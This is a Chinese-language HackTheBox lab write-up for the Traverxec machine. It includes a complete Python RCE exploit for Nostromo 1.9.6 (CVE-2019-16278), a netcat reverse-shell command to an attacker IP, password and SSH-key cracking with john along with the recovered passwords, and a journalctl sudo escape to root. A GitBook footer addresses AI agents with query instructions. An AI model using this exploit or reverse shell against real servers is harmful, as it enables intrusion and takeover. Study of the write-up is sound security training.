> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/traverxec-hackthebox-writeup.md).

# Traverxec HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/217>" %}

{% hint style="warning" %}
**技能：**

* Nostromo 利用
* 滥用 Nostromo HomeDirs 配置
* 利用 Journalctl（权限提升）
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/4bbff1a4383750a85716a7f6eff58299a1704cd3" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/245f217bb87743de0c7e169abef168ccd6cb9657" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- -sS --open -vvv -n -Pn --min-rate 5000 10.10.10.165 -oG allPorts
```

<figure><img src="/files/4ef2ab015a834d4f0d915d98e5e56e7528d2c759" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将它们复制到剪贴板。

<figure><img src="/files/12674dec1c79901e404c4dbf279ca9510d915451" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

<figure><img src="/files/8e47c6fa560f8eb60954b6640dd5c5e289f1dbf9" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址关联的域名插入到 `/etc/hosts` 文件中的用户进行测试。

<figure><img src="/files/bb2223b6b11a4a1720b292d786e23212d9413483" alt="" width="563"><figcaption></figcaption></figure>

## 端口 80：

<figure><img src="/files/e1ac52c301604252b87a4168c6668b8b3b74359a" alt=""><figcaption></figcaption></figure>

使用 `whatweb`，我们识别出 Nostromo 1.9.6 版本：

<figure><img src="/files/49bf6952ee72d42b6fb1f17ba4b345639165054f" alt=""><figcaption></figcaption></figure>

## Nostromo 利用

**漏洞利用搜索**：开启 `searchploit`，查找 Nostromo 1.9.6（CVE-2019-16278）的 RCE 漏洞利用。

<figure><img src="/files/eb8ce19793f6d61b640bb85d9f84b9e7317054e8" alt="" width="563"><figcaption></figcaption></figure>

从 GitHub 下载脚本。

{% embed url="<https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE>" %}

**脚本执行**：使用以下脚本在服务器上执行命令

```python
import argparse
import socket

# 设置 argparse
parser = argparse.ArgumentParser(description="针对 CVE-2019-16278 的 Nostromo 1.9.6 RCE 利用")
parser.add_argument("-t", "--target", help="远程主机目标")
parser.add_argument("-p", "--port", help="远程端口目标")
parser.add_argument("-c", "--command", help="要在服务器上执行的命令")
parser.add_argument("-b", "--bytes", help="响应中要接收回的字节数")

# 定义并赋值变量
args = parser.parse_args()
TARGET = args.target
PORT = int(args.port)
COMMAND = args.command
BYTES = args.bytes

if BYTES is None:
    BYTES = 4096
else:
    BYTES = int(BYTES)

URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0"

# 构建并编码载荷
payload = (f"POST {URL}/r/n"
           "Content-Length: 1/r/n/r/n"
           f"echo/necho/n{COMMAND} 2>&1").encode()

# 创建套接字并发送载荷
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(payload)

# 接收响应并关闭套接字
print(s.recv(1024).decode())  # 解码字节并转换回字符串以便打印
print(s.recv(BYTES).decode())
s.close()
```

```bash
python exploit.py -t 10.10.10.165 -p 80 -c whoami
```

<figure><img src="/files/9f1dd9123918eed85cc5b471b9a0347730c173d3" alt="" width="563"><figcaption></figcaption></figure>

**已获得反向 Shell**

```bash
python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443'
```

```bash
sudo nc -nlvp 443
```

<figure><img src="/files/2ab85f9d729747bd35437e6dac6dbf6e505d9fb5" alt=""><figcaption></figcaption></figure>

#### 终端改进

要使终端具有交互性：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## 权限提升 <a href="#suid-privilege-escalation" id="suid-privilege-escalation"></a>

**访问 Nostromo 配置文件**:

在 `nhttpd.conf` 文件中，有一条指令指示一个文件 `.htpasswd` 在 `/var/nostromo/conf` 其中包含身份验证信息。

<figure><img src="/files/38e1c04782049eb4ed5dfa68a1bf8f6518bc1f60" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6858ddf875d6e25ed1ad8be15e822a20172eef0d" alt="" width="563"><figcaption></figcaption></figure>

`david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/`

**密码解密**:

使用 `john` 破解密码：

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`david:Nowonly4me`

<figure><img src="/files/50382754e603e34139b77aa7207043a971eb329e" alt=""><figcaption></figcaption></figure>

### Nostromo HomeDirs 配置

{% hint style="info" %}
**背景：** Nostromo 的配置允许用户在指定的 home 目录中托管网页内容，通常为 `public_www` 位于其 home 目录中（`/home/[user]/public_www`）。此配置允许用户通过如下 URL 访问自己的页面： `http://traverxec.htb/~[user]`.
{% endhint %}

<figure><img src="/files/f837a08c111faf86db49ef7555d6c98189b1e708" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e070113eff2307f3ac012fcfda0d16947c68e68b" alt=""><figcaption></figcaption></figure>

浏览此文件时，我们还发现提到了一个 `public_www` 文件夹，作为用户网页内容的默认位置。

<figure><img src="/files/bbf909d28753af40706bef2fdf9738ed75a04bec" alt=""><figcaption></figcaption></figure>

前往 `http://traverxec.htb/~david` 我们发现一个隐藏文件夹 `protected-file-area` 其中包含一个文件 `.tgz`.

<figure><img src="/files/2a9779637da1afc5705afffe063c6949ce22f582" alt=""><figcaption></figcaption></figure>

**下载并提取内容：**

下载 `backup-ssh-identity-files.tgz` 文件：

<figure><img src="/files/c19da992acbcfd1d2a2c52eeaee553e739d1b142" alt=""><figcaption></figcaption></figure>

让我们提取内容以恢复 SSH 密钥：

`tar -xzf backup-ssh-identity-files.tgz`

<figure><img src="/files/5b8509534392c702a63a23a31b9a2e96dfa5390b" alt="" width="563"><figcaption></figcaption></figure>

### **SSH 密钥解密：**

提取出的 SSH 密钥受密码保护。我们使用 `ssh2john` 将密钥转换为 `john` 可使用的格式，然后发起暴力破解攻击：

<figure><img src="/files/6f3199e4714165e20cb55de181d68afcf86fe82e" alt="" width="371"><figcaption></figcaption></figure>

```bash
ssh2john id_rsa > id_rsa.hash
```

<figure><img src="/files/e35bfe67c2bf1b3168df720ff1748944bc39278e" alt=""><figcaption></figcaption></figure>

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt id_rsa.hash
```

<figure><img src="/files/28e7eb76089cf5dedb4789430a42dd2bac9c98a7" alt="" width="563"><figcaption></figcaption></figure>

找到的密码： `hunter`.

```bash
ssh -i id_rsa david@10.10.10.165
```

<figure><img src="/files/1952dd0b3eb525e70dcb97dee8756da1bf735ce9" alt="" width="563"><figcaption></figcaption></figure>

### user.txt 旗标

<figure><img src="/files/a5e6bcaae5b663dd192c63eb854e7e0158ce52a4" alt="" width="563"><figcaption></figcaption></figure>

## 利用 Journalctl：

{% hint style="info" %}
我们在 `server-stats.sh`中发现了一个脚本， `/bin` 目录中。该脚本被配置为使用 `/usr/bin/journalctl` 命令并使用 sudo 权限执行。这意味着我们可以利用该命令获取 root 权限
{% endhint %}

<figure><img src="/files/c3ea3703817e3a4f94c4777edd5698903961c246" alt=""><figcaption></figcaption></figure>

**在 GTFOBins 中搜索漏洞：**

* 查看 GTFOBins 后，我们发现 `journalctl` 可通过执行 shell 命令来提升权限。

{% embed url="<https://gtfobins.github.io/gtfobins/journalctl/>" %}

<figure><img src="/files/97342296b54a7aaf68b77c743464550593228630" alt=""><figcaption></figcaption></figure>

**执行条件：**

要触发此利用，需要缩小终端窗口大小以激活 `less` 在 `journalctl`分页模式。该模式允许你通过 `!`.

```bash
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
```

<figure><img src="/files/fe332aff24f63b4cf2f40c413f4d68cd7f426f62" alt=""><figcaption></figcaption></figure>

一旦进入 `less` 模式，输入以下命令以获取 root shell：

```bash
!/bin/sh
```

<figure><img src="/files/6aecb04c73f9a5e7b088cbac85d0bd8b33c4ee71" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/609341b2ec7866bc567947b1548d24b7ecc529de" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/82c5dedae169c018dc17dc75dc97df59b595559d" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/traverxec-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
